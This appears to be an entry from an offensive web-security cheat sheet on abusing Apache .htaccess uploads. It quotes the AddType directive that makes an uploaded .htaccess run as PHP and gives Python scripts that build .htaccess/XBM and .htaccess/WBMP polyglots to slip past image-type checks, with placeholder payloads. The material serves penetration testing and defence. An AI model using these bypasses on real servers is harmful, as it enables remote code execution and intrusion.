.htaccess upload

Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."

.htaccess upload as image

If the exif_imagetype function is used on the server side to determine the image type, create a .htaccess/image polyglot.

Supported image types include X BitMap (XBM) and WBMP. In .htaccess ignoring lines starting with \x00 and #, you can use these scripts for generate a valid .htaccess/image polyglot.

# create valid .htaccess/xbm image

width = 50
height = 50
payload = '# .htaccess file'

with open('.htaccess', 'w') as htaccess:
    htaccess.write('#define test_width %d\n' % (width, ))
    htaccess.write('#define test_height %d\n' % (height, ))
    htaccess.write(payload)

or

# create valid .htaccess/wbmp image

type_header = b'\x00'
fixed_header = b'\x00'
width = b'50'
height = b'50'
payload = b'# .htaccess file'

with open('.htaccess', 'wb') as htaccess:
    htaccess.write(type_header + fixed_header + width + height)
    htaccess.write(b'\n')
    htaccess.write(payload)
